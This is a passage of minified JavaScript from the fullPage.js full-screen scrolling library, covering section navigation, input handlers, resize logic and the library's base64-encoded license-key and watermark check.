Oe,Ee=null;function ke(n){var t=n.item,e=n.tn.length,o=n.index();!ln().g&&n.isVisible&&(O(t,mn),oe()),Ee=ln().g.item,lt("offsetSections")&&w(t,{height:ft(t)+"px"}),Qn().paddingTop&&w(t,{"padding-top":Qn().paddingTop}),Qn().paddingBottom&&w(t,{"padding-bottom":Qn().paddingBottom}),void 0!==Qn().sectionsColor[o]&&w(t,{"background-color":Qn().sectionsColor[o]}),void 0!==Qn().anchors[o]&&t.setAttribute("data-anchor",n.anchor),e||Ae(n)}c.getActiveSection=function(){return ln().g};var De={attributes:!1,subtree:!0,childList:!0,characterData:!0};function je(){return d(v(Qn().slideSelector,Un())).length!==ln().p}function ze(n){var t=je();(je()||d(v(Qn().sectionSelector,Un())).length!==ln().v)&&!rn.B&&(Qn().observer&&Oe&&Oe.disconnect(),ie(),oe(),Qn().anchors=[],_(v(An)),ce(),Kn(),Qn().navigation&&fe(),t&&(_(v(Pn)),_(v(In))),ln().h.forEach((function(n){n.slides.length?t&&xe(n):ke(n)}))),Qn().observer&&Oe&&Oe.observe(v(dn)[0],De)}on.l("bindEvents",(function(){var n,t,e;Qn().observer&&"MutationObserver"in window&&(n=v(dn)[0],t=De,(e=new MutationObserver(ze)).observe(n,t),Oe=e),on.l("contentChanged",ze)})),c.bn=ze;var Le=function(){var n=!1;try{var t=Object.defineProperty({},"passive",{get:function(){n=!0}});Z("testPassive",null,t),V("testPassive",null,t)}catch(n){}return function(){return n}}();function Re(){return!!Le()&&{passive:!1}}(new Date).getTime();var Ne,Pe,Ce,He,Ie,We,Be=(Pe=(new Date).getTime(),function(n,t){var e=(new Date).getTime(),o="wheel"===n?Qn().scrollingSpeed:100;return e-Pe>=o&&(Ne=t(),Pe=e),void 0===Ne||Ne}),Ze=(Ie=(new Date).getTime(),We=[],{Sn:function(n){var t=(n=n||i.event).wheelDelta||-n.deltaY||-n.detail,e=Math.max(-1,Math.min(1,t)),o=void 0!==n.wheelDeltaX||void 0!==n.deltaX;Ce=Math.abs(n.wheelDeltaX)<Math.abs(n.wheelDelta)||Math.abs(n.deltaX)<Math.abs(n.deltaY)||!o;var r=(new Date).getTime();He=e<0?"down":"up",We.length>149&&We.shift(),We.push(Math.abs(t));var a=r-Ie;Ie=r,a>200&&(We=[])},yn:function(){var n=nn(We,10)>=nn(We,70);return!!We.length&&n&&Ce},Mn:function(){return He}});function Fe(){var n=Qn().css3?C(Qn())+g():$(ln().h).item.offsetTop+$(ln().h).item.offsetHeight,t=ht(n);c.test.top=-n+"px",w(r.body,{"scroll-snap-type":"none"}),w(Pt,{"scroll-behavior":"unset"}),an({canScroll:!1}),xt(t.element,t.options,Qn().scrollingSpeed,(function(){setTimeout((function(){an({M:!0}),an({canScroll:!0})}),30)}))}function Ve(){Un().getBoundingClientRect().bottom>=0&&Ye()}function Ye(){var n=ht($(ln().h).item.offsetTop);an({canScroll:!1}),xt(n.element,n.options,Qn().scrollingSpeed,(function(){an({canScroll:!0}),an({M:!1}),an({Tn:!1})}))}var Ge,Xe,Ue,Qe,_e,Je=(Ge=!1,Xe={},Ue={},function(n,t,e){switch(n){case"set":Xe[t]=(new Date).getTime(),Ue[t]=e;break;case"isNewKeyframe":var o=(new Date).getTime();Ge=o-Xe[t]>Ue[t]}return Ge});function Ke(){for(var n=v(En),t=0;t<n.length;t++)ne(n[t],"internal")}function qe(){var n=v(".fp-auto-height")[0]||ye()&&v(".fp-auto-height-responsive")[0];Qn().lazyLoading&&n&&v(".fp-section:not(.active)").forEach((function(n){var t,e,o,i,r;e=(t=n.getBoundingClientRect()).top,o=t.bottom,i=e+2<rn.W&&e>0,r=o>2&&o<rn.W,(i||r)&&Lt(n)}))}function $e(n,t){var e;e=n,Qn().menu&&Qn().menu.length&&v(Qn().menu).forEach((function(n){null!=n&&(E(v(wn,n),mn),O(v('[data-menuanchor="'+e+'"]',n),mn))})),function(n,t){var e=v(An)[0];Qn().navigation&&null!=e&&"none"!==e.style.display&&(E(v(wn,e),mn),O(n?v('a[href="#'+n+'"]',e):v("a",v("li",e)[t]),mn))}(n,t)}function no(n,t){if(Y(Qn().beforeLeave))return Be(ln().S,(function(){return kt(n,t)}))}function to(n,t,e){var o=n.item;if(null!=o){var i,r,a={element:o,callback:t,isMovementUp:e,dtop:eo(o),yMovement:wt(ln().g,o),anchorLink:n.anchor,sectionIndex:n.index(),activeSlide:n.activeSlide?n.activeSlide.item:null,leavingSection:ln().g.index()+1,localIsResizing:rn.O,items:{origin:ln().g,destination:n},direction:null};if(!(ln().g.item==o&&!rn.O||Qn().scrollBar&&C(Qn())===a.dtop&&!h(o,Tn))){if(null!=a.activeSlide&&(i=W(a.activeSlide,"data-anchor"),r=y(a.activeSlide,null)),!a.localIsResizing){var l=a.yMovement;if(void 0!==e&&(l=e?"up":"down"),a.direction=l,at("dropEffect")&&c.dropEffect.onLeave_(a),at("waterEffect")&&c.An.onLeave_(a),Y(Qn().beforeLeave)&&!1===no("beforeLeave",a))return;if(Y(Qn().onLeave)&&!kt("onLeave",a))return}ut("parallax","apply",a),ut("cards","apply",a),ut("dropEffect","apply",a),ut("waterEffect","apply",a),Qn().autoScrolling&&Qn().continuousVertical&&void 0!==a.isMovementUp&&(!a.isMovementUp&&"up"==a.yMovement||a.isMovementUp&&"down"==a.yMovement)&&(a=function(n){an({B:!0});var t=ln().g.item;return n.isMovementUp?N(t,K(t,yn)):R(t,q(t,yn).reverse()),Mt(ln().g.item.offsetTop),Ke(),n.xn=t,n.dtop=n.element.offsetTop,n.yMovement=wt(ln().g,n.element),n.leavingSection=n.items.origin.index()+1,n.sectionIndex=n.items.destination.index(),G(Un(),"onContinuousVertical",n),n}(a)),ut("scrollOverflowReset","setPrevious",a.g),a.localIsResizing||zt(ln().g.item),lt("dropEffect")&&Qn().dropEffect||(O(o,mn),E(H(o),mn)),oe(),Lt(o),an({canScroll:c.test.On}),It(r,i,a.anchorLink),function(n){var t=Qn().scrollingSpeed<700,e=t?700:Qn().scrollingSpeed;if(an({N:"none",scrollY:Math.round(n.dtop)}),on.u("onPerformMovement"),Qn().css3&&Qn().autoScrolling&&!Qn().scrollBar)yt("translate3d(0px, -"+Math.round(n.dtop)+"px, 0px)",!0),lt("waterEffect")&&Ke(),Qn().scrollingSpeed?(clearTimeout(Qe),Qe=setTimeout((function(){oo(n),an({canScroll:!t||c.test.On})}),Qn().scrollingSpeed)):oo(n);else{var o=ht(n.dtop);c.test.top=-n.dtop+"px",w(Pt,{"scroll-behavior":"unset"}),clearTimeout(Qe),xt(o.element,o.options,Qn().scrollingSpeed,(function(){Qn().scrollBar?Qe=setTimeout((function(){oo(n)}),30):(oo(n),an({canScroll:!t||c.test.On}))}))}t&&(clearTimeout(_e),_e=setTimeout((function(){an({canScroll:!0})}),e))}(a),an({j:a.anchorLink}),$e(a.anchorLink,function(n){return null!=n.xn?n.isMovementUp?rn.v-1:0:n.sectionIndex}(a))}}}function eo(n){var t=n.offsetHeight,e=n.offsetTop,o=e,i=lt("dragAndMove")&&ut("dragAndMove","isGrabbing")?ut("dragAndMove","isScrollingDown"):e>rn.I,r=o-g()+t,a=Qn().bigSectionsDestination;return t>g()?(i||a)&&"bottom"!==a||(o=r):(i||rn.O&&null==S(n))&&(o=r),lt("offsetSections")&&(o=c.offsetSections.getSectionPosition_(i,o,n)),an({I:o}),o}function oo(n){Qn().fitToSection&&w(r.body,{"scroll-snap-type":"y mandatory"}),an({M:!1}),function(n){null!=n.xn&&(n.isMovementUp?N(v(yn)[0],n.xn):R(v(yn)[ln().h.length-1],n.xn),Mt(ln().g.item.offsetTop),function(){for(var n=v(En),t=0;t<n.length;t++)ne(n[t],"internal")}(),n.sectionIndex=n.items.destination.index(),n.leavingSection=n.items.origin.index()+1,an({B:!1}))}(n),Y(Qn().afterLoad)&&!n.localIsResizing&&kt("afterLoad",n),ut("parallax","afterLoad"),ut("waterEffect","afterLoad"),ut("dropEffect","afterLoad"),ut("scrollOverflowReset","reset"),ut("resetSliders","apply",n),oe(),n.localIsResizing||Dt(n.element),O(n.element,bn),E(H(n.element),bn),qe(),Te.an(),an({canScroll:!0}),Y(n.callback)&&n.callback()}function io(){var n=ln().g.next();n||!Qn().loopBottom&&!Qn().continuousVertical||(n=ln().h[0]),null!=n?to(n,null,!1):Un().scrollHeight<Rt.scrollHeight&&on.u("scrollBeyondFullpage")}function ro(){var n=ln().g.prev();n||!Qn().loopTop&&!Qn().continuousVertical||(n=$(ln().h)),null!=n&&to(n,null,!0)}c.moveTo=moveTo,c.getScrollY=function(){return rn.scrollY},on.l("onDestroy",(function(){clearTimeout(Qe),clearTimeout(_e)})),c.moveSectionDown=io,c.moveSectionUp=ro;var ao=0;function lo(n){Qn().autoScrolling&&(rn.canScroll&&(n.pageY<ao&&Gt().m.up?ro():n.pageY>ao&&Gt().m.down&&io()),ao=n.pageY)}function uo(n){if(Gt().m[n]){var t="down"===n?io:ro;lt("scrollHorizontally")&&(t=ut("scrollHorizontally","getScrollSection",{type:n,scrollSection:t})),Qn().scrollOverflow&&Te.gn(ln().g)?Te.mn(n,ln().g.item)&&Te.wn()&&t():t()}}var co,so,fo=0,vo=0,po=0,ho=0,go=To(),mo={En:"ontouchmove"in window?"touchmove":go.move,kn:"ontouchstart"in window?"touchstart":go.down};function wo(n){var t=L(n.target,yn)||ln().g.item,e=Te.gn(ln().g),o=Math.abs(fo-po)>i.innerHeight/100*Qn().touchSensitivity,r=Math.abs(vo-ho)>m()/100*Qn().touchSensitivity,a=v(Dn,t).length&&Math.abs(vo-ho)>Math.abs(fo-po),l=fo>po?"down":"up",u=a?vo>ho?"right":"left":l;if(bo(n)){an({C:!0}),Qn().autoScrolling&&(!e||e&&!rn.canScroll)&&I(n);var c=Mo(n);po=c.y,ho=c.x,an({N:u}),a?!rn.A&&r&&(vo>ho?Gt().m.right&&on.u("moveSlideRight",{section:t}):Gt().m.left&&on.u("moveSlideLeft",{section:t})):Qn().autoScrolling&&rn.canScroll&&o&&uo(l)}}function bo(n){return void 0===n.pointerType||"mouse"!=n.pointerType}function So(n){if(Qn().fitToSection&&an({R:!1}),bo(n)){var t=Mo(n);fo=t.y,vo=t.x}Z("touchend",yo)}function yo(){V("touchend",yo),an({C:!1})}function Mo(n){var t={};return t.y=void 0!==n.pageY&&(n.pageY||n.pageX)?n.pageY:n.touches[0].pageY,t.x=void 0!==n.pageX&&(n.pageY||n.pageX)?n.pageX:n.touches[0].pageX,u&&bo(n)&&Qn().scrollBar&&void 0!==n.touches&&(t.y=n.touches[0].pageY,t.x=n.touches[0].pageX),t}function To(){var n;return i.PointerEvent&&(n={down:"pointerdown",move:"pointermove"}),n}function Ao(n){Qn().autoScrolling&&bo(n)&&Gt().m.up&&(rn.canScroll||I(n))}function xo(n,t){var e=null==t?ln().g.item:t,o=tt(rn.h,e),i=v(Dn,e)[0];if(!(null==i||ct()||rn.A||o.slides.length<2)){var r=o.activeSlide,a="left"===n?r.prev():r.next();if(!a){if(!Qn().loopHorizontal)return;a="left"===n?$(o.slides):o.slides[0]}an({A:!c.test.On}),_t(i,a.item,n)}}function Oo(n){xo("left",n)}function Eo(n){xo("right",n)}function ko(n){if(lt("responsiveSlides")&&ut("responsiveSlides","areSlidesSections"))return tt(rn.h,ut("responsiveSlides","getSectionByAnchor",n));var t=ln().h.filter((function(t){return t.anchor===n}))[0];if(!t){var e=void 0!==n?n-1:0;t=ln().h[e]}return t}function Do(n){null!=n&&_t(L(n,Dn),n)}function jo(n,t){var e=ko(n);if(null!=e){var o=function(n,t){var e=t.slides.filter((function(t){return t.anchor===n}))[0];return null==e&&(n=void 0!==n?n:0,e=t.slides[n]),e?e.item:null}(t,e);e.anchor===rn.j||h(e.item,mn)?Do(o):to(e,(function(){Do(o)}))}}function zo(n,t){var e=ko(n);void 0!==t?jo(n,t):null!=e&&to(e)}function Lo(){clearTimeout(so),F("keydown",Ro),F("keyup",No)}function Ro(n){clearTimeout(so);var t=r.activeElement,e=n.keyCode,o=[37,39].indexOf(e)>-1,i=Qn().autoScrolling||o;9===e?function(n){var t=n.shiftKey,e=r.activeElement,o=Co(pt(ln().g.item));function i(n){return I(n),o[0]?o[0].focus():null}(function(n){var t=Co(r),e=t.indexOf(r.activeElement),o=t[n.shiftKey?e-1:e+1],i=L(o,On),a=L(o,yn);return!i&&!a})(n)||(e?null==L(e,".fp-section.active,.fp-section.active .fp-slide.active")&&(e=i(n)):i(n),(!t&&e==o[o.length-1]||t&&e==o[0])&&I(n))}(n):X(t,"textarea")||X(t,"input")||X(t,"select")||"true"===W(t,"contentEditable")||""===W(t,"contentEditable")||!Qn().keyboardScrolling||!i||(co=n.ctrlKey,so=setTimeout((function(){!function(n){var t=n.shiftKey,e=r.activeElement,o=X(e,"video")||X(e,"audio"),i=Te.mn("up",ln().g.item),a=Te.mn("down",ln().g.item),l=[37,39].indexOf(n.keyCode)>-1;if(Ho(n),rn.canScroll||l)switch(an({S:"keydown"}),n.keyCode){case 38:case 33:Gt().k.up&&i&&(rn.M?on.u("onKeyDown",{e:n}):ro());break;case 32:if(t&&Gt().k.up&&!o&&i){ro();break}case 40:case 34:if(Gt().k.down&&a){if(rn.M)return;32===n.keyCode&&o||io()}break;case 36:Gt().k.up&&zo(1);break;case 35:Gt().k.down&&zo(ln().h.length);break;case 37:Gt().k.left&&Oo();break;case 39:Gt().k.right&&Eo()}}(n)}),0))}function No(n){rn.H&&(co=n.ctrlKey)}function Po(){an({H:!1}),co=!1}function Co(n){return[].slice.call(v('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, [tabindex="0"], [contenteditable]',n)).filter((function(n){return"-1"!==W(n,"tabindex")&&null!==n.offsetParent}))}function Ho(n){(function(n){return[40,38,32,33,34].indexOf(n.keyCode)>-1&&!rn.M})(n)&&!L(n.target,Nn)&&n.preventDefault()}c.moveSlideLeft=Oo,c.moveSlideRight=Eo,c.moveTo=zo,on.l("bindEvents",(function(){Z("blur",Po),B("keydown",Ro),Rt.addEventListener("keydown",Ho),B("keyup",No),on.l("onDestroy",Lo)}));var Io=(new Date).getTime(),Wo=[];function Bo(n){n?(function(){var n,t="";i.addEventListener?n="addEventListener":(n="attachEvent",t="on");var e="onwheel"in r.createElement("div")?"wheel":void 0!==r.onmousewheel?"mousewheel":"DOMMouseScroll",o=Re();"DOMMouseScroll"==e?r[n](t+"MozMousePixelScroll",Zo,o):r[n](t+e,Zo,o)}(),Un().addEventListener("mousedown",Fo),Un().addEventListener("mouseup",Vo)):(r.addEventListener?(F("mousewheel",Zo,!1),F("wheel",Zo,!1),F("MozMousePixelScroll",Zo,!1)):r.detachEvent("onmousewheel",Zo),Un().removeEventListener("mousedown",Fo),Un().removeEventListener("mouseup",Vo))}function Zo(n){var t=(new Date).getTime(),e=h(v(".fp-completely")[0],"fp-normal-scroll"),o=function(n,t){(new Date).getTime();var e=ln().M&&n.getBoundingClientRect().bottom>=0&&"up"===Ze.Mn(),o=ln().Tn;if(o)return I(t),!1;if(ln().M){if(e){var i;if(!(o||Je("isNewKeyframe","beyondFullpage")&&Ze.yn()))return(i=ht($(ln().h).item.offsetTop+$(ln().h).item.offsetHeight)).element.scrollTo(0,i.options),an({Tn:!1}),I(t),!1;if(Ze.yn())return e=!1,an({Tn:!0}),an({S:"wheel"}),Ye(),I(t),!1}else Je("set","beyondFullpage",1e3);if(!o&&!e)return!0}}(Un(),n);if(!Gt().m.down&&!Gt().m.up)return I(n),!1;if(o)return!0;if(!1===o)return I(n),!1;if(Qn().autoScrolling&&!co&&!e){var r=(n=n||i.event).wheelDelta||-n.deltaY||-n.detail,a=Math.max(-1,Math.min(1,r)),l=void 0!==n.wheelDeltaX||void 0!==n.deltaX,u=Math.abs(n.wheelDeltaX)<Math.abs(n.wheelDelta)||Math.abs(n.deltaX)<Math.abs(n.deltaY)||!l,c=a<0?"down":a>0?"up":"none";Wo.length>149&&Wo.shift(),Wo.push(Math.abs(r)),Qn().scrollBar&&I(n);var s=t-Io;return Io=t,s>200&&(Wo=[]),an({P:c}),rn.canScroll&&!ct()&&nn(Wo,10)>=nn(Wo,70)&&u&&(an({S:"wheel"}),uo(a<0?"down":"up")),!1}Qn().fitToSection&&an({R:!1})}function Fo(n){var t;2==n.which&&(t=n.pageY,ao=t,Un().addEventListener("mousemove",lo))}function Vo(n){2==n.which&&Un().removeEventListener("mousemove",lo)}function Yo(n){n?(Bo(!0),function(){if((a||u)&&(!lt("dragAndMove")||"mouseonly"===Qn().dragAndMove)){Qn().autoScrolling&&(Rt.removeEventListener(mo.En,Ao,{passive:!1}),Rt.addEventListener(mo.En,Ao,{passive:!1}));var n=Qn().touchWrapper;n.removeEventListener(mo.kn,So),n.removeEventListener(mo.En,wo,{passive:!1}),n.addEventListener(mo.kn,So),n.addEventListener(mo.En,wo,{passive:!1})}}()):(Bo(!1),function(){if(a||u){Qn().autoScrolling&&(Rt.removeEventListener(mo.En,wo,{passive:!1}),Rt.removeEventListener(mo.En,Ao,{passive:!1}));var n=Qn().touchWrapper;n.removeEventListener(mo.kn,So),n.removeEventListener(mo.En,wo,{passive:!1})}}())}c.setMouseWheelScrolling=Bo;var Go=!0;function Xo(){["mouseenter","touchstart","mouseleave","touchend"].forEach((function(n){F(n,Qo,!0)}))}function Uo(n,t){document["fp_"+n]=t,B(n,Qo,!0)}function Qo(n){var t=n.type,e=!1,o="mouseleave"===t?n.toElement||n.relatedTarget:n.target;o!=document&&o?("touchend"===t&&(Go=!1,setTimeout((function(){Go=!0}),800)),("mouseenter"!==t||Go)&&(Qn().normalScrollElements.split(",").forEach((function(n){if(!e){var t=X(o,n),i=L(o,n);(t||i)&&(c.shared.Dn||Yo(!1),c.shared.Dn=!0,e=!0)}})),!e&&c.shared.Dn&&(Yo(!0),c.shared.Dn=!1))):Yo(!0)}function _o(n,t){Tt(0,"internal"),zo(n,t),Tt(_n().scrollingSpeed,"internal")}on.l("bindEvents",(function(){Qn().normalScrollElements&&(["mouseenter","touchstart"].forEach((function(n){Uo(n,!1)})),["mouseleave","touchend"].forEach((function(n){Uo(n,!0)}))),on.l("onDestroy",Xo)})),c.silentMoveTo=_o;var Jo,Ko=g(),qo=m(),$o=!1;function ni(){clearTimeout(Jo),V("resize",ti)}function ti(){$o||(Qn().autoScrolling&&!Qn().scrollBar||!Qn().fitToSection)&&oi(g()),$o=!0,clearTimeout(Jo),Jo=setTimeout((function(){!function(){if(an({O:!0}),oi(""),G(Un(),"onResize"),!Qn().fitToSection||Qn().autoScrolling||rn.M||function(){if(!Qn().autoScrolling||Qn().scrollBar){var n=.01*i.innerHeight;r.documentElement.style.setProperty("--vh","".concat(n,"px"))}}(),on.u("contentChanged"),oe(),be(),a){var n=r.activeElement;if(!X(n,"textarea")&&!X(n,"input")&&!X(n,"select")){var t=g();Math.abs(t-Ko)>20*Math.max(Ko,t)/100&&(ei(!0),Ko=t)}}else e=g(),o=m(),rn.W===e&&qo===o||(an({W:e}),qo=o,ei(!0));var e,o;G(Un(),"onResizeEnds"),an({O:!1})}(),$o=!1}),400)}function ei(n){if(!h(Un(),hn)){an({O:!0,W:g(),jn:m()});for(var t=ln().h,e=0;e<t.length;++e){var o=t[e],r=v(Dn,o.item)[0],a=o.slides;lt("offsetSections")&&w(o,{height:ft(o.item)+"px"}),a.length>1&&_t(r,o.activeSlide.item)}Qn().scrollOverflow&&Te.rn();var l=ut("responsiveSlides","getActiveIndex")||ln().g.index();rn.M||!l||lt("fadingEffect")||lt("dropEffect")||lt("waterEffect")||_o(l+1),an({O:!1}),Y(Qn().afterResize)&&n&&Qn().afterResize.call(Un(),i.innerWidth,i.innerHeight),Y(Qn().afterReBuild)&&!n&&Qn().afterReBuild.call(Un()),G(Un(),"afterRebuild")}}function oi(n){var t=""===n?"":n+"px";ln().h.forEach((function(n){w(n.item,{height:t})}))}function ii(){var n,t,e=i.location.hash;if(e.length){var o=e.replace("#","").split("/"),r=e.indexOf("#/")>-1;n=r?"/"+o[1]:decodeURIComponent(o[0]);var a=r?o[2]:o[1];a&&a.length&&(t=decodeURIComponent(a))}return{section:n,J:t}}function ri(){V("hashchange",ai)}function ai(){if(!rn.D&&!Qn().lockAnchors){var n=ii(),t=n.section,e=n.J,o=void 0===rn.j,i=void 0===rn.j&&void 0===e&&!rn.A;t&&t.length&&(t&&t!==rn.j&&!o||i&&!ct()||!rn.A&&rn.L!=e&&!ct())&&on.u("onScrollPageAndSlide",{zn:t,slideAnchor:e})}}function li(n){var t=n.target;L(t,Qn().menu+" [data-menuanchor]")&&ui.call(t,n)}function ui(n){an({S:"menu"}),!v(Qn().menu)[0]||!Qn().lockAnchors&&Qn().anchors.length||(I(n),on.u("onMenuClick",{anchor:W(this,"data-menuanchor")}))}function ci(n){var t=n.target;t&&L(t,"#fp-nav a")?de.call(t,n.e):X(t,".fp-tooltip")?se.call(t):(X(t,Cn)||null!=L(t,Cn))&&Zt.call(t,n.e)}c.reBuild=ei,on.l("bindEvents",(function(){Z("resize",ti),on.l("onDestroy",ni)})),c.setLockAnchors=function(n){Qn().lockAnchors=n},on.l("bindEvents",(function(){Z("hashchange",ai),on.l("onDestroy",ri)})),on.l("bindEvents",(function(){B("wheel",Ze.Sn,Re()),on.l("scrollBeyondFullpage",Fe),on.l("onKeyDown",Ve)})),on.l("bindEvents",(function(){on.l("onClickOrTouch",li)})),on.l("bindEvents",(function(){on.l("onClickOrTouch",ci)}));var si,fi=0;function di(n){var t,e,o,i,r;if(G(Un(),"onScroll"),!rn.O&&ln().g&&($(ln().h),!ln().M&&!ln().Tn&&(!Qn().autoScrolling||Qn().scrollBar||lt("dragAndMove"))&&!st())){var a=lt("dragAndMove")?Math.abs(ut("dragAndMove","getCurrentScroll")):C(Qn()),l=function(n){var t=n>fi?"down":"up";return fi=n,an({I:n}),t}(a),u=0,c=a+g()/2,s=(lt("dragAndMove")?ut("dragAndMove","getDocumentHeight"):Rt.scrollHeight-g())===a,f=(ut("responsiveSlides","areSlidesSections")?ut("responsiveSlides","panels"):null)||ln().h;if(an({scrollY:a}),s)u=f.length-1;else if(a)for(var d=0;d<f.length;++d)(L(f[d].item,yn)||f[d].item).offsetTop<=c&&(u=d);else u=0;if(o=l,i=ln().g.item.offsetTop,r=i+g(),("up"==o?r>=C(Qn())+g():i<=C(Qn()))&&(h(ln().g.item,bn)||(O(ln().g.item,bn),E(H(ln().g.item),bn))),e=(t=f[u]).item,!ut("responsiveSlides","isCurrentSectionActive",u)&&!t.isActive){an({D:!0});var v,p,m=ln().g.item,w=ln().g.index()+1,b=wt(ln().g,e),S=ut("responsiveSlides","getSectionAnchor",t)||t.anchor,y=t.index()+1,M=t.activeSlide,T={g:m,sectionIndex:y-1,anchorLink:S,element:e,leavingSection:w,direction:b,items:{origin:ln().g,destination:t}};if(M&&(p=M.anchor,v=M.index()),rn.canScroll)E(f.filter((function(n){return n.index()!==t.index()})).map((function(n){return n.item})),mn),O(e,mn),ut("parallax","afterLoad"),Y(Qn().beforeLeave)&&no("beforeLeave",T),Y(Qn().onLeave)&&kt("onLeave",T),Y(Qn().afterLoad)&&kt("afterLoad",T),ut("resetSliders","apply",{localIsResizing:rn.O,leavingSection:w}),zt(m),Lt(e),Dt(e),$e(S,y-1),Qn().anchors.length&&an({j:S}),It(v,p,S),oe();clearTimeout(si),si=setTimeout((function(){an({D:!1})}),100)}}}function vi(n,t){void 0!==t?(t=t.replace(/ /g,"").split(",")).forEach((function(t){Yt(n,t,"k")})):(Yt(n,"all","k"),Qn().keyboardScrolling=n)}function pi(n){var t=n.index();void 0!==Qn().anchors[t]&&n.isActive&&$e(Qn().anchors[t],t),Qn().menu&&Qn().css3&&null!=L(v(Qn().menu)[0],dn)&&v(Qn().menu).forEach((function(n){Rt.appendChild(n)}))}function hi(){w(function(n,t){var e=[n];do{n=n.parentNode,e.push(n)}while(!X(n,"body"));return e}(Un()),{height:"100%",position:"relative"}),O(Un(),fn),O(Nt,gn),an({W:g()}),E(Un(),hn),ce(),ut("parallax","init");for(var n=ln().G,t=0;t<n.length;t++){var e=n[t],o=e.tn;e.item.setAttribute("data-fp-styles",W(e.item,"style")),ke(e),pi(e),o.length>0&&xe(e)}Qn().fixedElements&&Qn().css3&&v(Qn().fixedElements).forEach((function(n){Rt.appendChild(n)})),Qn().navigation&&fe(),v('iframe[src*="youtube.com/embed/"]',Un()).forEach((function(n){var t,e;e=W(t=n,"src"),t.setAttribute("src",e+(/\?/.test(e)?"&":"?")+"enablejsapi=1")})),ut("fadingEffect","apply"),ut("waterEffect","init"),ut("dropEffect","init"),ut("cards","init"),Qn().scrollOverflow&&Te.rn()}function gi(){var n,t,e=ln().g,o=ln().g.item;O(o,bn),Lt(o),qe(),Dt(o),t=ko((n=ii()).section),n.section&&t&&(void 0===t||t.index()!==y(Ee))||!Y(Qn().afterLoad)||kt("afterLoad",{g:o,element:o,direction:null,anchorLink:e.anchor,sectionIndex:e.index(),items:{origin:ln().g,destination:ln().g}}),Y(Qn().afterRender)&&kt("afterRender"),G(Un(),"afterRender")}function mi(n,t){void 0!==t?(t=t.replace(/ /g,"").split(",")).forEach((function(t){Yt(n,t,"m")})):Yt(n,"all","m"),G(Un(),"setAllowScrolling",{value:n,Ln:t})}function wi(){var n=ii(),t=n.section,e=n.J;t&&(Qn().animateAnchor?jo(t,e):_o(t,e))}on.l("onDestroy",(function(){clearTimeout(si),clearTimeout(void 0)})),on.l("bindEvents",(function(){Z("scroll",di),r.body.addEventListener("scroll",di),on.l("onScrollPageAndSlide",(function(n){jo(n.zn,n.slideAnchor)})),on.l("onMenuClick",(function(n){zo(n.anchor,void 0)})),on.l("onScrollOverflowScrolled",(function(n){("down"===n.direction?io:ro)()})),on.l("scrollPage",(function(n){to(n.destination)}))})),on.l("onDestroy",(function(){V("scroll",di)})),c.getActiveSlide=function(){return Et(ln().g.activeSlide.item)},c.getScrollX=function(){return rn.scrollX},on.l("bindEvents",(function(){on.l("onDestroy",qt),on.l("landscapeScroll",(function(n){_t(n.slides,n.destination)})),on.l("moveSlideRight",(function(n){Eo(n.section)})),on.l("moveSlideLeft",(function(n){Oo(n.section)}))})),on.l("bindEvents",(function(){var n=Qn().credits.position,t=["left","right"].indexOf(n)>-1?"".concat(n,": 0;"):"",e='\n        <div class="fp-watermark" style="'.concat(t,'">\n            <a href="https://alvarotrigo.com/fullPage/" \n                rel="nofollow noopener" \n                target="_blank" \n                style="text-decoration:none; color: #000;">\n                    ').concat(Qn().credits.label,"\n            </a>\n        </div>\n    "),o=$(rn.h),i=Qn().credits.enabled&&!rn.Rn;o&&o.item&&i&&o.item.insertAdjacentHTML("beforeend",e)})),function(){on.l("onInitialise",(function(){var t,l;an({Rn:(Qn().licenseKey,t=Qn().licenseKey,l=function(t){var e=parseInt("514").toString(16);if(!t||t.length<29||4===t.split(n[0]).length)return null;var o=["Each","for"][i()]().join(""),l=t[["split"]]("-"),u=[];l[o]((function(n,t){if(t<4){var o=function(n){var t=n[n.length-1],e=["NaN","is"][i()]().join("");return window[e](t)?r(t):function(n){return n-mn.length}(t)}(n);u.push(o);var a=r(n[o]);if(1===t){var l=["pa","dS","t","art"].join("");a=a.toString()[l](2,"0")}e+=a,0!==t&&1!==t||(e+="-")}}));var c=0,s="";return t.split("-").forEach((function(n,t){if(t<4){for(var e=0,o=0;o<4;o++)o!==u[t]&&(e+=Math.abs(r(n[o])),isNaN(n[o])||c++);var i=a(e);s+=i}})),s+=a(c),{Nn:new Date(e+"T00:00"),Pn:e.split("-")[2]===8*(mn.length-2)+"",Cn:s}}(t),l&&(Qn().credits&&l&&l.Nn<=e&&l.Cn===t.split(n[0])[4]||function(n){var t=o[i()]().join("");return n&&0===t.indexOf(n)&&n.length===t.length}(t)||l.Pn)||!1)})}));var n=["-"],t="2022-3-12".split("-"),e=new Date(t[0],t[1],t[2]),o=["se","licen","-","v3","l","gp"];function i(){return[["re","verse"].join("")]["".length]}function r(n){return isNaN(n)?n.charCodeAt(0)-72:n}function a(n){var t=72+n;return t>90&&t<97&&(t+=15),String.fromCharCode(t).toUpperCase()}}(),c.setKeyboardScrolling=vi,c.shared.Hn=gi,c.setAllowScrolling=mi;var bi={};function Si(){return bi}var yi,Mi,Ti,Ai,xi=!h(Rt,vt("OHNsd3AtZnVsbHBhZ2UtanM5T20="));function Oi(n){if(Mi=r.createElement("div"),yi=vt("MTIzPGRpdj48YSBocmVmPSJodHRwOi8vYWx2YXJvdHJpZ28uY29tL2Z1bGxQYWdlL2V4dGVuc2lvbnMvIiBzdHlsZT0iY29sb3I6ICNmZmYgIWltcG9ydGFudDsgdGV4dC1kZWNvcmF0aW9uOm5vbmUgIWltcG9ydGFudDsiPlVubGljZW5zZWQgZnVsbFBhZ2UuanMgRXh0ZW5zaW9uPC9hPjwvZGl2PjEyMw=="),xi||(yi=yi.replace("extensions/","").replace("Extension","")),Mi.innerHTML=yi,Mi=Mi.firstChild,"MutationObserver"in window&&new MutationObserver(ki).observe(r.body,{childList:!0,subtree:!1}),(!xi||lt(n)&&c[n])&&(!function(n){var t=void 0!==Si()[n]&&Si()[n].length,e=[],o=!1;return x(Si()[n])?e=Si()[n]:e.push(Si()[n]),e.forEach((function(e){var i=function(){if(r.domain.length){for(var n=r.domain.replace(/^(www\.)/,"").split(".");n.length>2;)n.shift();return n.join(".").replace(/(^\.*)|(\.*$)/g,"")}return""}(),a=["MTM0bG9jYWxob3N0MjM0","MTM0MC4xMjM0","MTM0anNoZWxsLm5ldDIzNA==","UDdDQU5ZNlNN","NTY3YnVuZGxlNzg5","NTU1S2V5Nzc3"],l=vt(a[0]),u=vt(a[1]),c=vt(a[2]),s=vt(a[3]),f=vt(a[4]),d=vt(a[5]),v=void 